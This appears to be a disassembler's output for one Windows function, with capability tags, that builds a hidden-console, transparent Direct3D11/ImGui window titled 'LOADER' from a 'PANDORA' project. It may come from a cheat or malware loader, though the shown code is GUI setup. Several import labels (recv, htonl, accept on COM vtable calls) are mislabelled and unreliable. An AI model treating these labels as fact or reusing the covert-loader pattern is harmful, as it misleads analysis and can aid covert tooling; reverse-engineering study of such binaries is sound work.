Function at 0x140046db0
Capabilities:
Create thread
Encode data using xor
Enumerate processes
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x20d0]
mov eax, 0x21d0
call fcn.140159cc0
sub rsp, rax
movaps xmmword [rsp + 0x21c0], xmm6
movaps xmmword [rsp + 0x21b0], xmm7
movaps xmmword [rsp + 0x21a0], xmm8
movaps xmmword [rsp + 0x2190], xmm9
movaps xmmword [rsp + 0x2180], xmm10
movaps xmmword [rsp + 0x2170], xmm11
movaps xmmword [rsp + 0x2160], xmm12
movaps xmmword [rsp + 0x2150], xmm13
movaps xmmword [rsp + 0x2140], xmm14
movaps xmmword [rsp + 0x2130], xmm15
xor r13d, r13d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rbp + 0x220], 0x50
mov dword [rbp + 0x224], 0x40
lea rax, [0x14004a1b0]
mov qword [rbp + 0x228], rax
mov qword [rbp + 0x230], r13
mov qword [rbp + 0x238], r13
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp + 0x240], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rbp + 0x248], rax
mov qword [rbp + 0x250], r13
lea rdi, str.LOADER
mov qword [rbp + 0x258], rdi
mov qword [rbp + 0x260], rdi
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp + 0x268], rax
lea rcx, [rbp + 0x220]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r14d, 1
mov ecx, r14d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
lea ebx, [rax - 0xe1]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x145
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x38], 0x1c2
mov dword [rsp + 0x30], 0x28a
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
mov r9d, 0x80000000
mov r8, rdi
mov rdx, qword [rbp + 0x260]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov r15, rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongW]
bts eax, 0x13
mov r8d, eax
mov edx, 0xffffffec
mov rcx, r15
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1401a3220]
movdqu xmmword [rbp + 0x278], xmm0
lea rdx, [rbp + 0x278]
mov rcx, r15
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
lea rdx, [rbp + 0xc8]
mov rcx, r15
call qword [sym.imp.USER32.dll_GetWindowRect]
mov qword [rbp + 0x164], r13
mov qword [rbp + 0x178], 2
mov qword [rbp + 0x190], 2
mov qword [rbp + 0x150], r13
mov dword [rbp + 0x160], 0x1c
mov dword [rbp + 0x158], 0x3c
mov dword [rbp + 0x15c], r14d
mov dword [rbp + 0x174], 0x20
mov qword [rbp + 0x180], r15
mov qword [rbp + 0x16c], r14
mov qword [rbp + 0x188], r14
mov dword [rbp + 0x2128], 0xb000
mov dword [rbp + 0x212c], 0xa000
lea rbx, [0x1405c4ce0]
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x2120]
mov qword [rsp + 0x50], rax
lea rdi, [0x1405c4cd8]
mov qword [rsp + 0x48], rdi
lea rsi, [0x1405c4cd0]
mov qword [rsp + 0x40], rsi
lea rax, [rbp + 0x150]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0x2128]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, r14d
xor ecx, ecx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
cmp eax, 0x887a0004
jne 0x1400470f2
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x2120]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rsi
lea rax, [rbp + 0x150]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0x2128]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 5
xor ecx, ecx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
jne 0x14004a0b7
mov rcx, qword [0x1405c4cd0]
mov rax, qword [rcx]
lea r9, [rsp + 0x60]
lea r8, [0x1401a3050]
xor edx, edx
call qword [rax + 0x48]
mov rcx, qword [0x1405c4cd8]
mov rax, qword [rcx]
lea r9, [0x1405c4cc8]
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
call qword [rax + 0x48]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov edx, 0xa
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r15
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x1405c4850]
test rbx, rbx
je 0x140047165
inc dword [rbx + 0xf4]
mov ecx, 0x5e50
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp + 0x2128], rax
lea rcx, [rbp + 0x2120]
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x40], rax
test rax, rax
je 0x140047197
xor edx, edx
mov rcx, rax
call fcn.140001d30
jmp 0x14004719a
mov rax, r13
mov qword [0x1405c4850], rax
call fcn.1400062f0
test rbx, rbx
je 0x1400471b4
mov qword [0x1405c4850], rbx
jmp 0x1400471bb
mov rbx, qword [0x1405c4850]
test rbx, rbx
jne 0x1400471e1
mov r8d, 0x1031
lea rdx, str.C:UserszipDownloadsPANDORAPANDORAimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1405c4850]
or dword [rbx + 8], 3
xorps xmm6, xmm6
xor eax, eax
movups xmmword [rbp + 0x150], xmm6
movups xmmword [rbp + 0x160], xmm6
movups xmmword [rbp + 0x190], xmm6
movups xmmword [rbp + 0x1a0], xmm6
mov qword [rbp + 0x1d0], rax
mov byte [rbp + 0x15c], 1
mov dword [rbp + 0x168], 3
mov dword [rbp + 0x16c], r14d
mov dword [rbp + 0x194], 0x7f7fffff
mov dword [rbp + 0x1a0], 0x3f800000
mov eax, 0xffff
mov word [rbp + 0x1a4], ax
mov dword [rbp + 0x19c], 0x10c
mov rsi, qword [rbx + 0x58]
cmp byte [rsi + 0x18], 0
je 0x140047273
mov r8d, 0xbbc
lea rdx, str.C:UserszipDownloadsPANDORAPANDORAimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm7, xmmword [rbp + 0x150]
movups xmmword [rbp + 0x2c0], xmm7
movups xmm8, xmmword [rbp + 0x160]
movups xmmword [rbp + 0x2d0], xmm8
movups xmmword [rbp + 0x2e0], xmm6
movups xmmword [rbp + 0x2f0], xmm6
movups xmm9, xmmword [rbp + 0x190]
movups xmmword [rbp + 0x300], xmm9
movups xmm10, xmmword [rbp + 0x1a0]
movups xmmword [rbp + 0x310], xmm10
movups xmmword [rbp + 0x320], xmm6
movups xmmword [rbp + 0x330], xmm6
movsd xmm11, qword [rbp + 0x1d0]
movsd qword [rbp + 0x340], xmm11
movq rdi, xmm7
test rdi, rdi
je 0x140047303
mov r8d, 0xbbe
lea rdx, str.C:UserszipDownloadsPANDORAPANDORAimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x14027dc40]
mov qword [rbp + 0x2c0], rax
mov dword [rbp + 0x2c8], 0x4cd58
mov dword [rbp + 0x2d4], 0x41880000
lea r14, [0x1401a12d0]
mov qword [rbp + 0x2f8], r14
lea rdx, [rbp + 0x2c0]
mov rcx, rsi
call fcn.14002f280
mov rsi, qword [rbx + 0x58]
cmp byte [rsi + 0x18], 0
je 0x140047366
mov r8d, 0xbbc
lea rdx, str.C:UserszipDownloadsPANDORAPANDORAimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmmword [rbp + 0x2c0], xmm7
movups xmmword [rbp + 0x2d0], xmm8
movups xmmword [rbp + 0x2e0], xmm6
movups xmmword [rbp + 0x2f0], xmm6
movups xmmword [rbp + 0x300], xmm9
movups xmmword [rbp + 0x310], xmm10
movups xmmword [rbp + 0x320], xmm6
movups xmmword [rbp + 0x330], xmm6
movsd qword [rbp + 0x340], xmm11
test rdi, rdi
je 0x1400473c9
mov r8d, 0xbbe
lea rdx, str.C:UserszipDownloadsPANDORAPANDORAimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea r12, [0x14022ff40]
mov qword [rbp + 0x2c0], r12
mov dword [rbp + 0x2c8], 0x4d2c4
mov dword [rbp + 0x2d4], 0x41880000
mov qword [rbp + 0x2f8], r14
lea rdx, [rbp + 0x2c0]
mov rcx, rsi
call fcn.14002f280
mov qword [0x1405c4860], rax
mov rbx, qword [rbx + 0x58]
cmp byte [rbx + 0x18], 0
je 0x14004742c
mov r8d, 0xbbc
lea rdx, str.C:UserszipDownloadsPANDORAPANDORAimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmmword [rbp + 0x2c0], xmm7
movups xmmword [rbp + 0x2d0], xmm8
movups xmmword [rbp + 0x2e0], xmm6
movups xmmword [rbp + 0x2f0], xmm6
movups xmmword [rbp + 0x300], xmm9
movups xmmword [rbp + 0x310], xmm10
movups xmmword [rbp + 0x320], xmm6
movups xmmword [rbp + 0x330], xmm6
movsd qword [rbp + 0x340], xmm11
test rdi, rdi
je 0x14004748f
mov r8d, 0xbbe
lea rdx, str.C:UserszipDownloadsPANDORAPANDORAimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov qword [rbp + 0x2c0], r12
mov dword [rbp + 0x2c8], 0x4d2c4
mov dword [rbp + 0x2d4], 0x41c80000
mov qword [rbp + 0x2f8], r14
lea rdx, [rbp + 0x2c0]
mov rcx, rbx
call fcn.14002f280
mov qword [0x1405c4930], rax
xor ecx, ecx
call fcn.140028280
mov qword [rbp - 0x30], 0xffffffffffffffff
mov qword [rbp - 0x28], 0xffffffffffffffff
mov qword [rbp - 0x20], 0xffffffffffffffff
mov qword [rbp - 0x18], 0xffffffffffffffff
mov dword [rbp - 0x10], 0xffffffff
mov qword [rbp - 0xc], 0xfffffffffffffffd
mov dword [rbp - 4], 0xffffffff
mov qword [rbp], r13
cmp qword [0x1405c48a0], 0
jne 0x140047546
mov qword [rsp + 0x30], r13
lea rax, [0x1405c48a0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x30]
mov r8d, 0x1d042e
lea rdx, [0x1402ca9a0]
mov rcx, qword [0x1405c4cd8]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405c4878], 0
jne 0x140047584
mov qword [rsp + 0x30], r13
lea rax, [0x1405c4878]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x30]
mov r8d, 0x6ffb0
lea rdx, [0x1401bff90]
mov rcx, qword [0x1405c4cd8]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405c4870], 0
jne 0x1400475c2
mov qword [rsp + 0x30], r13
lea rax, [0x1405c4870]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x30]
mov r8d, 0x148
lea rdx, [0x14027daf0]
mov rcx, qword [0x1405c4cd8]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405c4888], 0
jne 0x140047600
mov qword [rsp + 0x30], r13
lea rax, [0x1405c4888]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x30]
mov r8d, 0x326
lea rdx, [0x14027d4f0]
mov rcx, qword [0x1405c4cd8]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405c4898], 0
jne 0x14004763e
mov qword [rsp + 0x30], r13
lea rax, [0x1405c4898]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x30]
mov r8d, 0x2ca
lea rdx, [0x14027d820]
mov rcx, qword [0x1405c4cd8]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405c4880], 0
jne 0x14004767c
mov qword [rsp + 0x30], r13
lea rax, [0x1405c4880]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x30]
mov r8d, 0x15e
lea rdx, [0x14027d210]
mov rcx, qword [0x1405c4cd8]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405c48a8], 0
jne 0x1400476ba
mov qword [rsp + 0x30], r13
lea rax, [0x1405c48a8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x30]
mov r8d, 0x2b4
lea rdx, [0x14049add0]
mov rcx, qword [0x1405c4cd8]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405c4890], 0
jne 0x1400476f8
mov qword [rsp + 0x30], r13
lea rax, [0x1405c4890]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x30]
mov r8d, 0x128634
lea rdx, [0x14049b090]
mov rcx, qword [0x1405c4cd8]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405c4868], 0
jne 0x140047736
mov qword [rsp + 0x30], r13
lea rax, [0x1405c4868]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x30]
mov r8d, 0x17d
lea rdx, [0x14027d370]
mov rcx, qword [0x1405c4cd8]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, r15
call fcn.140043d90
mov r14, qword [0x1405c4ce0]
mov rsi, qword [0x1405c4cd8]
mov rax, qword [0x1405c4850]
test rax, rax
jne 0x140047779
mov r8d, 0x1031
lea rdx, str.C:UserszipDownloadsPANDORAPANDORAimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1405c4850]
lea rdi, [rax + 8]
cmp qword [rdi + 0x98], 0
je 0x1400477a8
mov r8d, 0x221
lea rdx, str.C:UserszipDownloadsPANDORAPANDORA_backendsimgui_impl_dx11.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1405c4850]
test rax, rax
je 0x1400477b3
inc dword [rax + 0xf4]
mov ecx, 0x78
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x1400477f4
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov dword [rax + 0x70], 0x1388
mov dword [rax + 0x74], 0x2710
jmp 0x1400477f7
mov rbx, r13
mov qword [rdi + 0x98], rbx
lea rax, str.imgui_impl_dx11
mov qword [rdi + 0x88], rax
or dword [rdi + 4], 8
mov qword [rbp + 0x2128], r13
mov qword [rsp + 0x60], r13
mov qword [rbp - 0x70], r13
mov rax, qword [rsi]
lea r8, [rbp + 0x2128]
lea rdx, [0x1401a2740]
mov rcx, rsi
call qword [rax]
test eax, eax
jne 0x140047880
mov rcx, qword [rbp + 0x2128]
mov rax, qword [rcx]
lea r8, [rsp + 0x60]
lea rdx, [0x1401a2750]
call qword [rax + 0x30]
test eax, eax
jne 0x140047880
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx]
lea r8, [rbp - 0x70]
lea rdx, [0x1401a2760]
call qword [rax + 0x30]
test eax, eax
jne 0x140047880
mov qword [rbx], rsi
mov qword [rbx + 8], r14
mov rax, qword [rbp - 0x70]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp + 0x2128]
test rcx, rcx
je 0x140047892
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1400478a2
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
lea rcx, [0x1405c49e0]
call fcn.1400c7850
xor r14b, r14b
mov r12d, dword [reloc.WS2_32.dll_accept]
movdqa xmm14, xmmword [0x1401a3360]
movdqa xmm15, xmmword [0x1401a32d0]
xorps xmm13, xmm13
mov esi, 1
nop word [rax + rax]
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x150]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x14004795f
nop dword [rax]
lea rcx, [rbp + 0x150]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x150]
call qword [sym.imp.USER32.dll_DispatchMessageW]
movzx r14d, r14b
cmp dword [rbp + 0x158], 0x12
cmove r14d, esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x150]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x140047910
test r14b, r14b
jne 0x140049eca
mov r8d, dword [0x1405c4cc0]
test r8d, r8d
je 0x140047a0c
mov r9d, dword [0x1405c4cc4]
test r9d, r9d
je 0x140047a0c
mov rcx, qword [0x1405c4cc8]
test rcx, rcx
je 0x1400479a6
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1405c4cc8], r13
mov r8d, dword [0x1405c4cc0]
mov r9d, dword [0x1405c4cc4]
mov rcx, qword [0x1405c4cd0]
mov rax, qword [rcx]
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor edx, edx
call qword [rax + 0x68]
mov dword [0x1405c4cc4], r13d
mov dword [0x1405c4cc0], r13d
mov rcx, qword [0x1405c4cd0]
mov rax, qword [rcx]
lea r9, [rbp - 0x70]
lea r8, [0x1401a3050]
xor edx, edx
call qword [rax + 0x48]
mov rcx, qword [0x1405c4cd8]
mov rax, qword [rcx]
lea r9, [0x1405c4cc8]
xor r8d, r8d
mov rdx, qword [rbp - 0x70]
call qword [rax + 0x48]
mov rcx, qword [rbp - 0x70]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rbx, qword [0x1405c4850]
test rbx, rbx
je 0x140047a26
mov rbx, qword [rbx + 0xa0]
test rbx, rbx
jne 0x140047a43
jmp 0x140047a29
mov rbx, r13
mov r8d, 0x251
lea rdx, str.C:UserszipDownloadsPANDORAPANDORA_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp qword [rbx + 0x48], 0
jne 0x140047a4f
call fcn.140043720
call fcn.140044b10
call fcn.140008a80
mov rbx, qword [0x1405c4850]
test rbx, rbx
jne 0x140047a86
mov r8d, 0xba2
lea rdx, str.C:UserszipDownloadsPANDORAPANDORAimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1405c4850]
mov qword [rbx + 0x37d8], 0
mov dword [rbx + 0x37e4], r13d
mov dword [rbx + 0x381c], 0x41a00000
mov dword [rbx + 0x3820], 0x41a00000
mov dword [rbx + 0x3844], 0x41000000
or dword [rbx + 0x47d0], 2
movsd xmm0, qword [0x1405c36c8]
movsd qword [rbx + 0x47f0], xmm0
mov dword [rbx + 0x47d8], esi
xor edx, edx
mov r8d, 0x20ab
lea rcx, str.IMGUI
call fcn.14000f190
mov rax, qword [0x1405c4850]
test rax, rax
jne 0x140047b14
mov r8d, 0xba2
lea rdx, str.C:UserszipDownloadsPANDORAPANDORAimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1405c4850]
mov rax, qword [rax + 0x3ef8]
mov byte [rax + 0xb8], 1
lea rdx, [rbp + 0xc8]
mov rcx, r15
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x1405c4850]
mov rax, qword [rcx + 0x3ef8]
movss xmm2, dword [rax + 0x20]
ucomiss xmm2, xmm13
jp 0x140047b5a
jne 0x140047b5a
movss xmm0, dword [rax + 0x24]
ucomiss xmm0, xmm13
jp 0x140047b5a
je 0x140047bc8
movd xmm0, dword [rbp + 0xcc]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax + 0x24]
cvttss2si r8d, xmm0
movd xmm1, dword [rbp + 0xc8]
cvtdq2ps xmm1, xmm1
addss xmm1, xmm2
cvttss2si edx, xmm1
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 0x1c2
mov r9d, 0x28a
mov rcx, r15
call qword [sym.imp.USER32.dll_MoveWindow]
mov qword [rsp + 0x60], 0
mov rax, qword [0x1405c4850]
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rax + 0x3ef8]
call fcn.140012a80
mov rcx, qword [0x1405c4850]
mov rax, qword [rcx + 0x3ef8]
movsd xmm6, qword [rax + 0x20]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef8]
mov r10, qword [rax + 0x298]
movdqa xmm0, xmmword [0x1401a3580]
movups xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x60]
call fcn.140004340
mov dword [rbp + 8], 0x3f800000
mov dword [rbp + 0xc], 0x3f800000
mov qword [rbp + 0x10], 0
mov dword [rbp + 0x18], 0x44f00000
mov dword [rbp + 0x1c], 0x44870000
mov qword [rbp + 0x20], 0
movss dword [rsp + 0x38], xmm13
mov dword [rsp + 0x30], eax
lea rax, [rbp + 8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x18]
lea r8, [rbp + 0x20]
mov rdx, qword [0x1405c4878]
mov rcx, r10
call fcn.14002c1b0
mov rcx, qword [0x1405c4850]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef8]
mov r10, qword [rax + 0x298]
movss xmm0, dword [0x1405c5070]
movss dword [rbp + 0xd8], xmm0
movss xmm1, dword [0x1405c5074]
movss dword [rbp + 0xdc], xmm1
movss xmm0, dword [0x1405c5078]
movss dword [rbp + 0xe0], xmm0
movss xmm1, dword [0x1405c507c]
mulss xmm1, dword [rcx + 0x37d0]
movss dword [rbp + 0xe4], xmm1
lea rcx, [rbp + 0xd8]
call fcn.140004340
movaps xmm11, xmm6
shufps xmm11, xmm11, 0x55
movsd qword [rbp + 0x2120], xmm6
movaps xmm1, xmm11
addss xmm1, dword [0x1405c36cc]
movss xmm12, dword [rbp + 0x2120]
movaps xmm0, xmm12
addss xmm0, dword [0x1405c36c8]
movss dword [rbp + 0x28], xmm0
movss dword [rbp + 0x2c], xmm1
movss xmm0, dword [0x1401a3110]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x1401a3154]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x28]
lea rdx, [rbp + 0x2120]
mov rcx, r10
call fcn.14002b500
mov rcx, qword [0x1405c4850]
mov rax, qword [rcx + 0x3ef8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef8]
mov r11, qword [rax + 0x298]
movss xmm9, dword [0x1405c4dc0]
movss dword [rbp + 0xe8], xmm9
movss xmm8, dword [0x1405c4dc4]
movss dword [rbp + 0xec], xmm8
movss xmm7, dword [0x1405c4dc8]
movss dword [rbp + 0xf0], xmm7
movss xmm10, dword [rcx + 0x37d0]
movaps xmm6, xmm10
mulss xmm6, dword [0x1405c4dcc]
movss dword [rbp + 0xf4], xmm6
lea rcx, [rbp + 0xe8]
call fcn.140004340
mov r10d, eax
movss dword [rbp + 0xf8], xmm9
movss dword [rbp + 0xfc], xmm8
movss dword [rbp + 0x100], xmm7
movss dword [rbp + 0x104], xmm6
lea rcx, [rbp + 0xf8]
call fcn.140004340
mov r9d, eax
movss xmm8, dword [0x1405c4dd0]
movss dword [rbp + 0x108], xmm8
movss xmm7, dword [0x1405c4dd4]
movss dword [rbp + 0x10c], xmm7
movss xmm6, dword [0x1405c4dd8]
movss dword [rbp + 0x110], xmm6
mulss xmm10, dword [0x1405c4ddc]
movss dword [rbp + 0x114], xmm10
lea rcx, [rbp + 0x108]
call fcn.140004340
mov r8d, eax
movss dword [rbp + 0x118], xmm8
movss dword [rbp + 0x11c], xmm7
movss dword [rbp + 0x120], xmm6
movss dword [rbp + 0x124], xmm10
lea rcx, [rbp + 0x118]
call fcn.140004340
movaps xmm1, xmm11
addss xmm1, dword [0x1405c36cc]
movaps xmm0, xmm12
addss xmm0, dword [0x1405c36c8]
movss dword [rbp + 0x30], xmm0
movss dword [rbp + 0x34], xmm1
movss xmm1, dword [0x1401a3148]
movss dword [rsp + 0x38], xmm1
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], r9d
mov dword [rsp + 0x20], r8d
mov r9d, eax
lea r8, [rbp + 0x30]
lea rdx, [rbp + 0x2120]
mov rcx, r11
call fcn.14002b790
mov rdi, qword [0x1405c4850]
mov rax, qword [rdi + 0x3ef8]
mov byte [rax + 0xb8], 1
mov rax, qword [rdi + 0x3ef8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, dword [rbx + 0x3820]
addss xmm0, dword [rbx + 0x381c]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov eax, dword [0x1405c4cfc]
movss xmm7, dword [0x1401a3110]
movss xmm8, dword [0x1401a3204]
cmp eax, dword [0x1405c4d04]
jne 0x140047f4e
movaps xmm6, xmm7
jmp 0x140047f52
movaps xmm6, xmm8
test rdi, rdi
jne 0x140047f7e
mov r8d, 0x1031
lea rdx, str.C:UserszipDownloadsPANDORAPANDORAimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov eax, dword [0x1405c4cfc]
mov rdi, qword [0x1405c4850]
movss xmm0, dword [rdi + 0x18]
mulss xmm0, dword [0x1401a316c]
mulss xmm0, xmm6
addss xmm0, dword [0x1405c4d10]
comiss xmm13, xmm0
jbe 0x140047fa3
movaps xmm6, xmm13
jmp 0x140047faa
movaps xmm6, xmm7
minss xmm6, xmm0
movss dword [0x1405c4d10], xmm6
ucomiss xmm6, xmm13
jp 0x140047fd0
jne 0x140047fd0
movss xmm0, dword [0x1405c5160]
ucomiss xmm0, xmm13
jp 0x140047fd0
jne 0x140047fd0
mov dword [0x1405c4d04], eax
mulss xmm6, dword [rbx + 0x37d0]
lea rcx, [rdi + 0x4850]
movss xmm0, dword [rdi + 0x37d0]
mov dword [rbp + 0x1e8], r13d
movss dword [rbp + 0x1ec], xmm0
lea rdx, [rbp + 0x1e8]
call fcn.14001f4e0
movss dword [rdi + 0x37d0], xmm6
mov rax, qword [0x1405c4850]
test rax, rax
jne 0x140048037
mov r8d, 0x1031
lea rdx, str.C:UserszipDownloadsPANDORAPANDORAimgui.cpp
